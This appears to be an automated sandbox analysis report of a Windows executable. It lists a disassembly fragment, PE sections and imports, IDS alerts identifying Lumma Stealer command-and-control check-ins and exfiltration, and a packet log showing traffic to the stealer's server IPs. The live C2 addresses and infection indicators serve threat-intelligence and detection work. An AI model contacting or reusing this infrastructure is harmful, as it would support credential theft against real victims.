mov dword ptr fs:[eax], esp
push 00000001h
call 00007F8DC45B4F34h
call 00007F8DC4840D4Fh
mov eax, dword ptr [006A137Ch]
push eax
push 006A1414h
mov eax, dword ptr [006B7ADCh]
mov eax, dword ptr [eax]
call 00007F8DC474B118h
mov eax, 0069C190h
mov edx, dword ptr [006B7944h]
mov dword ptr [edx], eax
call 00007F8DC4840D96h
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword ptr fs:[eax], edx
jmp 00007F8DC484D4FBh
jmp 00007F8DC45A942Bh
call 00007F8DC4840ADAh
mov eax, 00000001h
call 00007F8DC45A9F18h
call 00007F8DC45A986Fh
mov eax, dword ptr [006B7ADCh]
mov eax, dword ptr [eax]
mov edx, 006ADE18h
call 00007F8DC474ABE2h
push 00000005h
mov eax, dword ptr [006B7ADCh]
mov eax, dword ptr [eax]
mov eax, dword ptr [eax+00000190h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x2c5000	0x6e	.edata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2c0000	0x3a6a	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x305000	0x8da00	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x4a70d4d	0x21d0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2c8000	0x3cd44
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x2c7000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2c09f8	0x8e0	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x2c4000	0xe28	.didata
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2a910c	0x2a9200	636911b28886fbf414dbba8e257d3150	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.itext	0x2ab000	0x2e24	0x3000	4aadf43ce8bf8e2d71c98187b11e0b7d	False	0.4940592447916667	data	6.150722356110934	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x2ae000	0x9e18	0xa000	9c5114b05054094107967068f16428b9	False	0.5979736328125	data	6.333690263645768	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.bss	0x2b8000	0x7cd0	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x2c0000	0x3a6a	0x3c00	c255c35dc8b2afb5a1e8a0d53ec7a7b6	False	0.3244140625	PDP-11 overlaid pure executable	5.195700686476652	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.didata	0x2c4000	0xe28	0x1000	eb38b8d680c9b49ddcbbfdf40683169f	False	0.311767578125	data	4.032868001403646	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.edata	0x2c5000	0x6e	0x200	54166a993ddfc95afd7da99ac7579d19	False	0.173828125	data	1.3044245768916944	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.tls	0x2c6000	0x58	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x2c7000	0x5d	0x200	2bd0b4250f44ecdcc366775e042632aa	False	0.189453125	data	1.3744124358228273	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x2c8000	0x3cd3c	0x3ce00	dfaa7069a9101422af2acb1619b72127	False	0.5655520084702259	data	6.733343374740925	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.rsrc	0x305000	0x8da00	0x8da00	076031fba3f2f42f81006b7ba012b1ab	False	0.389713081972639	data	5.30120396773853	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Imports

DLL	Import
mpr.dll	WNetEnumResourceW, WNetGetUniversalNameW, WNetGetConnectionW, WNetCloseEnum, WNetOpenEnumW
comdlg32.dll	GetSaveFileNameW, GetOpenFileNameW
comctl32.dll	FlatSB_SetScrollInfo, InitCommonControls, ImageList_DragMove, ImageList_Destroy, _TrackMouseEvent, ImageList_DragShowNolock, ImageList_Add, FlatSB_SetScrollProp, ImageList_GetDragImage, ImageList_Create, ImageList_EndDrag, ImageList_DrawEx, ImageList_SetImageCount, FlatSB_GetScrollPos, FlatSB_SetScrollPos, InitializeFlatSB, FlatSB_GetScrollInfo, ImageList_Write, ImageList_DrawIndirect, ImageList_SetBkColor, ImageList_GetBkColor, ImageList_BeginDrag, ImageList_GetIcon, ImageList_GetImageCount, ImageList_DragEnter, ImageList_GetIconSize, ImageList_SetIconSize, ImageList_Read, ImageList_DragLeave, ImageList_Draw, ImageList_Remove
shell32.dll	SHBrowseForFolderW, SHGetMalloc, SHGetFileInfoW, SHChangeNotify, Shell_NotifyIconW, SHAppBarMessage, ShellExecuteW, SHGetPathFromIDListW, ShellExecuteExW
user32.dll	MoveWindow, CopyImage, SetMenuItemInfoW, GetMenuItemInfoW, DefFrameProcW, ScrollWindowEx, GetDlgCtrlID, FrameRect, RegisterWindowMessageW, GetMenuStringW, FillRect, SendMessageA, EnumWindows, ShowOwnedPopups, GetClassInfoW, GetScrollRange, SetActiveWindow, GetActiveWindow, DrawEdge, GetKeyboardLayoutList, OemToCharBuffA, LoadBitmapW, EnumChildWindows, SendNotifyMessageW, GetScrollBarInfo, UnhookWindowsHookEx, SetCapture, GetCapture, ShowCaret, CreatePopupMenu, GetMenuItemID, CharLowerBuffW, PostMessageW, SetWindowLongW, IsZoomed, SetParent, DrawMenuBar, GetClientRect, IsChild, IsIconic, CallNextHookEx, ShowWindow, GetWindowTextW, SetForegroundWindow, IsDialogMessageW, DestroyWindow, RegisterClassW, EndMenu, CharNextW, GetFocus, GetDC, SetFocus, ReleaseDC, ExitWindowsEx, GetClassLongW, SetScrollRange, DrawTextW, CharToOemBuffA, PeekMessageA, MessageBeep, SetClassLongW, SetRectEmpty, RemovePropW, GetSubMenu, DestroyIcon, IsWindowVisible, DispatchMessageA, UnregisterClassW, GetTopWindow, SendMessageW, SendMessageTimeoutW, LoadStringW, CreateMenu, CharLowerW, SetWindowRgn, SetWindowPos, GetMenuItemCount, GetSysColorBrush, GetWindowDC, DrawTextExW, ReplyMessage, GetScrollInfo, SetWindowTextW, GetMessageExtraInfo, GetSysColor, EnableScrollBar, TrackPopupMenu, DrawIconEx, GetClassNameW, GetMessagePos, GetIconInfo, SetScrollInfo, GetKeyNameTextW, GetDesktopWindow, SetCursorPos, GetCursorPos, SetMenu, GetMenuState, GetMenu, SetRect, GetKeyState, ValidateRect, GetCursor, KillTimer, WaitMessage, TranslateMDISysAccel, GetWindowPlacement, CreateIconIndirect, CreateWindowExW, GetMessageW, GetDCEx, PeekMessageW, MonitorFromWindow, GetUpdateRect, SetTimer, WindowFromPoint, BeginPaint, RegisterClipboardFormatW, MapVirtualKeyW, OffsetRect, IsWindowUnicode, DispatchMessageW, DefMDIChildProcW, WaitForInputIdle, GetSystemMenu, SetScrollPos, GetScrollPos, InflateRect, DrawFocusRect, ReleaseCapture, LoadCursorW, ScrollWindow, GetLastActivePopup, GetSystemMetrics, CharUpperBuffW, ClientToScreen, SetWindowPlacement, GetMonitorInfoW, CheckMenuItem, CharUpperW, DefWindowProcW, GetForegroundWindow, EnableWindow, GetWindowThreadProcessId, RedrawWindow, EndPaint, MsgWaitForMultipleObjectsEx, LoadKeyboardLayoutW, ActivateKeyboardLayout, GetParent, InsertMenuItemW, GetPropW, MessageBoxW, SetPropW, UpdateWindow, MsgWaitForMultipleObjects, DestroyMenu, SetWindowsHookExW, AdjustWindowRectEx, IsWindow, DrawIcon, EnumThreadWindows, InvalidateRect, GetKeyboardState, ScreenToClient, DrawFrameControl, BringWindowToTop, SetCursor, CreateIcon, RemoveMenu, AppendMenuW, GetKeyboardLayoutNameW, TranslateMessage, MapWindowPoints, EnumDisplayMonitors, CallWindowProcW, DestroyCursor, PostQuitMessage, ShowScrollBar, LoadImageW, EnableMenuItem, HideCaret, FindWindowExW, MonitorFromPoint, LoadIconW, SystemParametersInfoW, GetWindow, GetWindowRect, GetWindowLongW, InsertMenuW, IsWindowEnabled, IsDialogMessageA, FindWindowW, GetKeyboardLayout, DeleteMenu
version.dll	GetFileVersionInfoSizeW, VerQueryValueW, GetFileVersionInfoW
oleaut32.dll	SafeArrayPutElement, LoadTypeLib, GetErrorInfo, VariantInit, VariantClear, SysFreeString, SysReAllocStringLen, SafeArrayCreate, SafeArrayGetElement, GetActiveObject, SysAllocStringLen, SafeArrayPtrOfIndex, SafeArrayGetUBound, SafeArrayGetLBound, VariantCopy, RegisterTypeLib, VariantChangeType, VariantCopyInd
advapi32.dll	RegSetValueExW, ConvertStringSecurityDescriptorToSecurityDescriptorW, OpenThreadToken, GetUserNameW, RegQueryInfoKeyW, EqualSid, GetTokenInformation, RegCreateKeyExW, SetSecurityDescriptorDacl, RegEnumKeyExW, AdjustTokenPrivileges, RegDeleteKeyW, LookupPrivilegeValueW, RegOpenKeyExW, OpenProcessToken, FreeSid, AllocateAndInitializeSid, RegDeleteValueW, RegFlushKey, RegEnumValueW, RegQueryValueExW, ConvertSidToStringSidW, RegCloseKey, InitializeSecurityDescriptor
msvcrt.dll	memcpy
winhttp.dll	WinHttpGetIEProxyConfigForCurrentUser, WinHttpSetTimeouts, WinHttpSetStatusCallback, WinHttpConnect, WinHttpReceiveResponse, WinHttpQueryAuthSchemes, WinHttpGetProxyForUrl, WinHttpReadData, WinHttpCloseHandle, WinHttpQueryHeaders, WinHttpOpenRequest, WinHttpAddRequestHeaders, WinHttpOpen, WinHttpWriteData, WinHttpSetCredentials, WinHttpQueryDataAvailable, WinHttpSetOption, WinHttpSendRequest, WinHttpQueryOption
kernel32.dll	SetFileAttributesW, SetFileTime, GetACP, GetExitCodeProcess, CloseHandle, LocalFree, GetCurrentProcessId, SizeofResource, VirtualProtect, TerminateThread, QueryPerformanceFrequency, SetHandleInformation, IsDebuggerPresent, FindNextFileW, GetFullPathNameW, VirtualFree, GetProcessHeap, ExitProcess, HeapAlloc, WriteProfileStringW, GetCPInfoExW, RtlUnwind, GetCPInfo, GetStdHandle, GetTimeZoneInformation, FileTimeToLocalFileTime, GetModuleHandleW, FreeLibrary, HeapDestroy, CompareFileTime, ReadFile, CreateProcessW, TransactNamedPipe, GetLastError, GetModuleFileNameW, SetLastError, FindResourceW, OpenMutexW, CreateThread, CompareStringW, CopyFileW, CreateMutexW, LoadLibraryA, GetVolumeInformationW, ResetEvent, MulDiv, FreeResource, GetDriveTypeW, GetVersion, RaiseException, MoveFileW, GlobalAddAtomW, GetSystemTimeAsFileTime, FormatMessageW, OpenProcess, SwitchToThread, GetExitCodeThread, GetCurrentThread, GetLogicalDrives, LocalFileTimeToFileTime, SetNamedPipeHandleState, LoadLibraryExW, TerminateProcess, LockResource, FileTimeToSystemTime, GetShortPathNameW, GetCurrentThreadId, UnhandledExceptionFilter, MoveFileExW, PeekNamedPipe, GlobalFindAtomW, VirtualQuery, GlobalFree, VirtualQueryEx, Sleep, EnterCriticalSection, SetFilePointer, ReleaseMutex, FlushFileBuffers, LoadResource, SuspendThread, GetTickCount, WritePrivateProfileStringW, GetFileSize, GlobalDeleteAtom, GetStartupInfoW, GetFileAttributesW, GetCurrentDirectoryW, SetCurrentDirectoryW, InitializeCriticalSection, GetSystemWindowsDirectoryW, GetThreadPriority, GetCurrentProcess, SetThreadPriority, VirtualAlloc, GetCommandLineW, GetSystemInfo, LeaveCriticalSection, GetProcAddress, ResumeThread, GetVersionExW, VerifyVersionInfoW, HeapCreate, GetWindowsDirectoryW, DeviceIoControl, LCMapStringW, GetDiskFreeSpaceW, VerSetConditionMask, FindFirstFileW, GetUserDefaultUILanguage, lstrlenW, QueryPerformanceCounter, SetEndOfFile, lstrcmpW, HeapFree, WideCharToMultiByte, FindClose, MultiByteToWideChar, LoadLibraryW, SetEvent, CreateFileW, GetLocaleInfoW, EnumResourceNamesW, GetSystemDirectoryW, DeleteFileW, GetEnvironmentVariableW, GetLocalTime, WaitForSingleObject, WriteFile, CreateNamedPipeW, ExitThread, CreatePipe, DeleteCriticalSection, GetDateFormatW, TlsGetValue, SetErrorMode, GetComputerNameW, IsValidLocale, TlsSetValue, CreateDirectoryW, GetOverlappedResult, GetSystemDefaultUILanguage, EnumCalendarInfoW, GetProfileStringW, LocalAlloc, GetUserDefaultLangID, RemoveDirectoryW, IsDBCSLeadByte, CreateEventW, GetPrivateProfileStringW, WaitForMultipleObjectsEx, GetThreadLocale, SetThreadLocale
ole32.dll	StgCreateDocfileOnILockBytes, CoCreateInstance, CLSIDFromString, CoUninitialize, IsEqualGUID, OleInitialize, CoFreeUnusedLibraries, CreateILockBytesOnHGlobal, CLSIDFromProgID, OleUninitialize, CoDisconnectObject, CoInitialize, CoTaskMemFree, CoTaskMemAlloc, StringFromCLSID
gdi32.dll	Arc, Pie, SetBkMode, SelectPalette, CreateCompatibleBitmap, ExcludeClipRect, RectVisible, SetWindowOrgEx, MaskBlt, AngleArc, Chord, SetTextColor, StretchBlt, SetDIBits, SetViewportOrgEx, CreateRectRgn, RealizePalette, SetDIBColorTable, GetDIBColorTable, RoundRect, RestoreDC, SetRectRgn, GetTextMetricsW, RemoveFontResourceW, GetWindowOrgEx, CreatePalette, CreateBrushIndirect, PatBlt, LineDDA, PolyBezierTo, GetStockObject, CreateSolidBrush, Polygon, Rectangle, MoveToEx, DeleteDC, SaveDC, BitBlt, Ellipse, FrameRgn, GetDeviceCaps, GetBitmapBits, GetTextExtentPoint32W, GetClipBox, Polyline, IntersectClipRect, GetSystemPaletteEntries, CreateBitmap, AddFontResourceW, CreateDIBitmap, GetStretchBltMode, CreateDIBSection, CreatePenIndirect, SetStretchBltMode, GetDIBits, CreateFontIndirectW, PolyBezier, LineTo, GetRgnBox, EnumFontsW, CreateHalftonePalette, DeleteObject, SelectObject, ExtFloodFill, UnrealizeObject, SetBkColor, CreateCompatibleDC, GetObjectW, GetBrushOrgEx, GetCurrentPositionEx, SetROP2, GetTextExtentPointW, ExtTextOutW, SetBrushOrgEx, GetPixel, ArcTo, GdiFlush, SetPixel, EnumFontFamiliesExW, GetPaletteEntries

Exports

Name	Ordinal	Address
__dbk_fcall_wrapper	2	0x411c18
dbkFCallWrapperAddr	1	0x6bb648

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-31T17:11:27.604380+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49700	104.21.52.90	443	TCP
2024-12-31T17:11:28.102968+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49700	104.21.52.90	443	TCP
2024-12-31T17:11:28.102968+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49700	104.21.52.90	443	TCP
2024-12-31T17:11:28.570045+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49706	104.21.52.90	443	TCP
2024-12-31T17:11:29.039854+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.7	49706	104.21.52.90	443	TCP
2024-12-31T17:11:29.039854+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49706	104.21.52.90	443	TCP
2024-12-31T17:11:29.847065+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49717	104.21.52.90	443	TCP
2024-12-31T17:11:31.079033+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49728	104.21.52.90	443	TCP
2024-12-31T17:11:31.881524+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.7	49728	104.21.52.90	443	TCP
2024-12-31T17:11:32.510325+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49738	104.21.52.90	443	TCP
2024-12-31T17:11:36.878824+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49767	104.21.52.90	443	TCP
2024-12-31T17:11:40.476792+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49793	104.21.52.90	443	TCP
2024-12-31T17:11:42.356947+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49805	104.21.52.90	443	TCP
2024-12-31T17:11:45.335160+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49826	104.21.52.90	443	TCP
2024-12-31T17:11:45.808781+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49826	104.21.52.90	443	TCP
2024-12-31T17:11:46.587112+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49832	185.161.251.21	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 31, 2024 17:11:27.124156952 CET	49700	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:27.124195099 CET	443	49700	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:27.124268055 CET	49700	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:27.129384041 CET	49700	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:27.129399061 CET	443	49700	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:27.604293108 CET	443	49700	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:27.604379892 CET	49700	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:27.607237101 CET	49700	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:27.607249975 CET	443	49700	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:27.607501984 CET	443	49700	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:27.648782015 CET	49700	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:27.655771971 CET	49700	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:27.655803919 CET	49700	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:27.655910969 CET	443	49700	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:28.102979898 CET	443	49700	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:28.103059053 CET	443	49700	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:28.103105068 CET	49700	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:28.104562998 CET	49700	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:28.104583025 CET	443	49700	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:28.104595900 CET	49700	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:28.104600906 CET	443	49700	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:28.111840010 CET	49706	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:28.111861944 CET	443	49706	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:28.111922979 CET	49706	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:28.112704039 CET	49706	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:28.112715960 CET	443	49706	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:28.569854975 CET	443	49706	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:28.570044994 CET	49706	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:28.571373940 CET	49706	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:28.571391106 CET	443	49706	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:28.571717978 CET	443	49706	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:28.572870016 CET	49706	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:28.572902918 CET	49706	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:28.572958946 CET	443	49706	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:29.039886951 CET	443	49706	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:29.039961100 CET	443	49706	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:29.040004969 CET	443	49706	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:29.040013075 CET	49706	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:29.040035963 CET	443	49706	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:29.040070057 CET	49706	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:29.040081024 CET	443	49706	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:29.040127039 CET	443	49706	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:29.040155888 CET	443	49706	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:29.040159941 CET	49706	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:29.040169954 CET	443	49706	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:29.040203094 CET	49706	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:29.040352106 CET	443	49706	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:29.040432930 CET	443	49706	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:29.040477037 CET	49706	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:29.040482998 CET	443	49706	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:29.044632912 CET	443	49706	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:29.044687033 CET	49706	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:29.044692993 CET	443	49706	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:29.086255074 CET	49706	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:29.126375914 CET	443	49706	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:29.126477003 CET	443	49706	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:29.126517057 CET	49706	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:29.126524925 CET	443	49706	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:29.126542091 CET	443	49706	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:29.126575947 CET	49706	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:29.126584053 CET	443	49706	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:29.157979012 CET	443	49706	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:29.158040047 CET	49706	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:29.158210993 CET	49706	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:29.158227921 CET	443	49706	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:29.158240080 CET	49706	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:29.158245087 CET	443	49706	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:29.379097939 CET	49717	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:29.379148006 CET	443	49717	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:29.379249096 CET	49717	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:29.379847050 CET	49717	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:29.379867077 CET	443	49717	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:29.846807003 CET	443	49717	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:29.847064972 CET	49717	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:29.848345995 CET	49717	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:29.848361969 CET	443	49717	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:29.848691940 CET	443	49717	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:29.849895954 CET	49717	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:29.850054026 CET	49717	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:29.850087881 CET	443	49717	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:30.528012991 CET	443	49717	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:30.528271914 CET	443	49717	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:30.528455019 CET	49717	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:30.528633118 CET	49717	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:30.528650045 CET	443	49717	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:30.624865055 CET	49728	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:30.624912024 CET	443	49728	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:30.624989033 CET	49728	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:30.625262976 CET	49728	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:30.625277042 CET	443	49728	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:31.078895092 CET	443	49728	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:31.079032898 CET	49728	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:31.080370903 CET	49728	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:31.080382109 CET	443	49728	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:31.080586910 CET	443	49728	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:31.081883907 CET	49728	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:31.082019091 CET	49728	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:31.082041979 CET	443	49728	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:31.082093000 CET	49728	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:31.123337984 CET	443	49728	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:31.881587029 CET	443	49728	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:31.881722927 CET	443	49728	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:31.881793976 CET	49728	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:31.881932020 CET	49728	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:31.881948948 CET	443	49728	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:32.050363064 CET	49738	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:32.050431967 CET	443	49738	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:32.050532103 CET	49738	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:32.050837040 CET	49738	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:32.050849915 CET	443	49738	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:32.510257959 CET	443	49738	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:32.510324955 CET	49738	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:32.511629105 CET	49738	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:32.511640072 CET	443	49738	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:32.511868954 CET	443	49738	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:32.512967110 CET	49738	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:32.513086081 CET	49738	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:32.513109922 CET	443	49738	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:32.513161898 CET	49738	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:32.513170958 CET	443	49738	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:35.159097910 CET	443	49738	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:35.159395933 CET	443	49738	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:35.159512997 CET	49738	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:35.159595966 CET	49738	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:35.159622908 CET	443	49738	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:36.388089895 CET	49767	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:36.388133049 CET	443	49767	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:36.388191938 CET	49767	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:36.388536930 CET	49767	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:36.388550997 CET	443	49767	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:36.878741980 CET	443	49767	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:36.878823996 CET	49767	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:36.880013943 CET	49767	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:36.880024910 CET	443	49767	104.21.52.90	192.168.2.7
